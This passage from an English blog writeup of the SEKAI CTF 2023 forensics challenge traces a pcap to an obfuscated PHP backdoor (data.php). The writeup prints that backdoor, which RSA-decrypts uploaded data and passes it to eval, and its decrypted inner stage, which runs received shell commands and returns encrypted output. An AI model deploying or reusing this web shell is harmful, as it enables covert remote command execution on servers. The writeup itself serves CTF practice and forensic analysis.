<picture>\n          <source\n              srcset=\"/static/d99592a1439ee734d80f025d68f71d3e/8ac56/image-20230830213247891.webp 240w,\n/static/d99592a1439ee734d80f025d68f71d3e/d3be9/image-20230830213247891.webp 480w,\n/static/d99592a1439ee734d80f025d68f71d3e/e46b2/image-20230830213247891.webp 960w,\n/static/d99592a1439ee734d80f025d68f71d3e/f992d/image-20230830213247891.webp 1440w,\n/static/d99592a1439ee734d80f025d68f71d3e/1548f/image-20230830213247891.webp 1616w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d99592a1439ee734d80f025d68f71d3e/8ff5a/image-20230830213247891.png 240w,\n/static/d99592a1439ee734d80f025d68f71d3e/e85cb/image-20230830213247891.png 480w,\n/static/d99592a1439ee734d80f025d68f71d3e/d9199/image-20230830213247891.png 960w,\n/static/d99592a1439ee734d80f025d68f71d3e/07a9c/image-20230830213247891.png 1440w,\n/static/d99592a1439ee734d80f025d68f71d3e/61583/image-20230830213247891.png 1616w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d99592a1439ee734d80f025d68f71d3e/d9199/image-20230830213247891.png\"\n            alt=\"image-20230830213247891\"\n            title=\"image-20230830213247891\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>After looking through them, I noticed something obviously suspicious at the very bottom: data named <code class=\"language-text\">file</code> was being sent via POST to <code class=\"language-text\">data.php</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6c49ef0f0691e18161763b81485e27c7/f2331/image-20230830213754268.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 40%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGUlEQVQoz52R2W7CMBBF8///xgNqpDYQCYgJZHdI7NiOl1s7NBWo5aEd6WhmLM2dxVF+uqDOCMrsjK5uQOkNjHGoWUOq+QdKaShtXhIVbzHaOMZACCTtMfMJamQQPpbDAMXYkq9+FhLWOVj7C/49qncpaJJgzHOIpoHougUtBJwx+KtFPckxHo/g1yumsoRsW8ggvFJVEHUN1fvpx3FBUgo9TTBS3vHNjVJwYcIuTTEk7+Cngxc+YCoKCC/M/AnUV6HmfCm0Wt+ZZ1g/vXvE2rvgPibYbzNkHwRj08P6TsYfP3Q0vtA9rONe8LTyNm6x2TS4FH4Fi39bmG4RJOcBhAy4XhiqkqPv5QKl4jsO3G4B9ZSvPvzwKvoJP95sJZVKcvAAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6c49ef0f0691e18161763b81485e27c7/8ac56/image-20230830213754268.webp 240w,\n/static/6c49ef0f0691e18161763b81485e27c7/d3be9/image-20230830213754268.webp 480w,\n/static/6c49ef0f0691e18161763b81485e27c7/e46b2/image-20230830213754268.webp 960w,\n/static/6c49ef0f0691e18161763b81485e27c7/9b6fe/image-20230830213754268.webp 1427w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6c49ef0f0691e18161763b81485e27c7/8ff5a/image-20230830213754268.png 240w,\n/static/6c49ef0f0691e18161763b81485e27c7/e85cb/image-20230830213754268.png 480w,\n/static/6c49ef0f0691e18161763b81485e27c7/d9199/image-20230830213754268.png 960w,\n/static/6c49ef0f0691e18161763b81485e27c7/f2331/image-20230830213754268.png 1427w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6c49ef0f0691e18161763b81485e27c7/d9199/image-20230830213754268.png\"\n            alt=\"image-20230830213754268\"\n            title=\"image-20230830213754268\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>When I searched the challenge files for <code class=\"language-text\">data.php</code>, I found the following script, which appeared to decrypt the received data as a file.</p>\n<div class=\"gatsby-highlight\" data-language=\"php\"><pre class=\"language-php\"><code class=\"language-php\"><span class=\"token php language-php\"><span class=\"token delimiter important\">&lt;?php</span>\n\n<span class=\"token function\">set_error_handler</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$errno</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$errstr</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$errfile</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$errline</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// error was suppressed with the @-operator</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span> <span class=\"token operator\">===</span> <span class=\"token function\">error_reporting</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token constant boolean\">false</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    \n    <span class=\"token keyword\">throw</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">ErrorException</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$errstr</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$errno</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$errfile</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$errline</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$ab8a69</span> <span class=\"token operator\">=</span> <span class=\"token variable\">$_FILES</span><span class=\"token punctuation\">[</span><span class=\"token string single-quoted-string\">'file'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$a1721b</span> <span class=\"token operator\">=</span> <span class=\"token function\">fopen</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$ab8a69</span><span class=\"token punctuation\">[</span><span class=\"token string single-quoted-string\">'tmp_name'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token string double-quoted-string\">\"r\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$abdfbe</span> <span class=\"token operator\">=</span> <span class=\"token function\">fread</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$a1721b</span><span class=\"token punctuation\">,</span><span class=\"token function\">filesize</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$ab8a69</span><span class=\"token punctuation\">[</span><span class=\"token string single-quoted-string\">'tmp_name'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$ae25f0</span> <span class=\"token operator\">=</span> <span class=\"token function\">substr</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$abdfbe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token function\">strpos</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$abdfbe</span><span class=\"token punctuation\">,</span> <span class=\"token string double-quoted-string\">\"...\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$aa1090</span> <span class=\"token operator\">=</span> <span class=\"token function\">substr</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$abdfbe</span><span class=\"token punctuation\">,</span> <span class=\"token function\">strpos</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$abdfbe</span><span class=\"token punctuation\">,</span> <span class=\"token string double-quoted-string\">\"...\"</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$afd8f0</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"-----BEGIN RSA PRIVATE KEY-----\\n\"</span><span class=\"token operator\">.</span><span class=\"token function\">chunk_split</span><span class=\"token punctuation\">(</span><span class=\"token function\">base64_encode</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$aa1090</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">64</span><span class=\"token punctuation\">,</span> <span class=\"token string double-quoted-string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token operator\">.</span><span class=\"token string double-quoted-string\">\"-----END RSA PRIVATE KEY-----\\n\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">Exception</span> <span class=\"token variable\">$e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">die</span><span class=\"token punctuation\">(</span><span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token variable\">$aa13a9</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$a4b1af</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token variable\">$af5e94</span> <span class=\"token operator\">=</span> <span class=\"token function\">explode</span><span class=\"token punctuation\">(</span><span class=\"token string double-quoted-string\">\",\"</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$aa13a9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$af5e94</span> <span class=\"token keyword\">as</span> <span class=\"token variable\">$a64500</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">openssl_private_decrypt</span><span class=\"token punctuation\">(</span><span class=\"token function\">base64_decode</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$a64500</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$a64500</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$afd8f0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$a4b1af</span> <span class=\"token operator\">.=</span> <span class=\"token variable\">$a64500</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$a4b1af</span> <span class=\"token operator\">==</span> <span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">die</span><span class=\"token punctuation\">(</span><span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">eval</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$a4b1af</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token delimiter important\">?></span></span></code></pre></div>\n<p>I saved the POST data extracted from the pcap as <code class=\"language-text\">file.bin</code> and reproduced the attack locally.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># Start the PHP server</span>\n<span class=\"token function\">docker</span> run --net <span class=\"token function\">host</span> --rm -it -v <span class=\"token variable\"><span class=\"token variable\">`</span><span class=\"token builtin class-name\">pwd</span><span class=\"token variable\">`</span></span>:/root php <span class=\"token function\">bash</span>\nphp -S <span class=\"token number\">127.0</span>.0.1:8080\n\n<span class=\"token comment\"># Send the file</span>\n<span class=\"token function\">curl</span> -X POST -F <span class=\"token assign-left variable\">file</span><span class=\"token operator\">=</span>@./file.bin http://localhost:8080/date.php</code></pre></div>\n<p>When I tried print-debugging the value of the final <code class=\"language-text\">eval($a4b1af)</code>, I was able to obtain the following PHP script.</p>\n<div class=\"gatsby-highlight\" data-language=\"php\"><pre class=\"language-php\"><code class=\"language-php\"><span class=\"token variable\">$pvk1</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0\nhabVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje\nECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB\nAoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8\n8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ\nqXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4\n4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn\nLle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA\nnuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW\n8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2\ncRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL\n9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B\nG4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=\n-----END RSA PRIVATE KEY-----\n\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$pbk1</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f\n5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5\nnfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S\n4tw4O5CVYcIlIAAo6QIDAQAB\n-----END PUBLIC KEY-----\n\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">openssl_private_decrypt</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$ae25f0</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$decrypted</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$pvk1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$result</span> <span class=\"token operator\">=</span> <span class=\"token string backtick-quoted-string\">`{$decrypted} 2>&amp;1`</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$encrypted</span> <span class=\"token operator\">=</span> <span class=\"token string double-quoted-string\">\"\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$chunks</span> <span class=\"token operator\">=</span> <span class=\"token function\">str_split</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$result</span><span class=\"token punctuation\">,</span> <span class=\"token number\">116</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$chunks</span> <span class=\"token keyword\">as</span> <span class=\"token variable\">$chunk</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">openssl_public_encrypt</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$chunk</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$tmp</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$pbk1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token variable\">$encrypted</span> <span class=\"token operator\">.=</span> <span class=\"token function\">base64_encode</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$tmp</span><span class=\"token punctuation\">)</span><span class=\"token operator\">.</span><span class=\"token string double-quoted-string\">\",\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">echo</span> <span class=\"token variable\">$encrypted</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>After embedding this into PHP, adding a line to print <code class=\"language-text\">$decrypted</code>, and sending the POST request once more, I successfully obtained the correct Flag as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/b90b3a65b8fb9f8baa1b78093442e890/0c1c2/image-20230830220836552.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 10%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAf0lEQVQI1z3MsQ6CMBRGYVY3DYibBqU4CIUaY0nbS4vv/07HyuDw5eT+wy2iXQiTRzrLpwskJURliSZ3EmSYCb39+92iZ5LxW183vXkrg7n0FOnuWK+BpVmQJj9sI2ubkLPH1QZfalyl8dWY5R5HQiYns212/2A+9Lhy4LlTfAEiFz65+BTHmgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/b90b3a65b8fb9f8baa1b78093442e890/8ac56/image-20230830220836552.webp 240w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/d3be9/image-20230830220836552.webp 480w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/e46b2/image-20230830220836552.webp 960w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/f992d/image-20230830220836552.webp 1440w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/64634/image-20230830220836552.webp 1542w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/b90b3a65b8fb9f8baa1b78093442e890/8ff5a/image-20230830220836552.png 240w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/e85cb/image-20230830220836552.png 480w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/d9199/image-20230830220836552.png 960w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/07a9c/image-20230830220836552.png 1440w,\n/static/b90b3a65b8fb9f8baa1b78093442e890/0c1c2/image-20230830220836552.png 1542w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/b90b3a65b8fb9f8baa1b78093442e890/d9199/image-20230830220836552.png\"\n            alt=\"image-20230830220836552\"\n            title=\"image-20230830220836552\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>Every time I enter a contest, I am reminded of how far my skills still have to go.</p>","fields":{"slug":"/ctf-sekaictf-2023-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2023-08-28","description":"This is a writeup for SEKAI CTF 2023.","tags":["CTF (en)","Rev (en)","Forensic (en)","English"],"title":"SEKAI CTF 2023 Writeup","socialImage":{"publicURL":"/static/ed9d8e07d4379543e5cc63db49b8ac71/ctf-sekaictf-2023.png"}}}},"pageContext":{"slug":"/ctf-sekaictf-2023-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}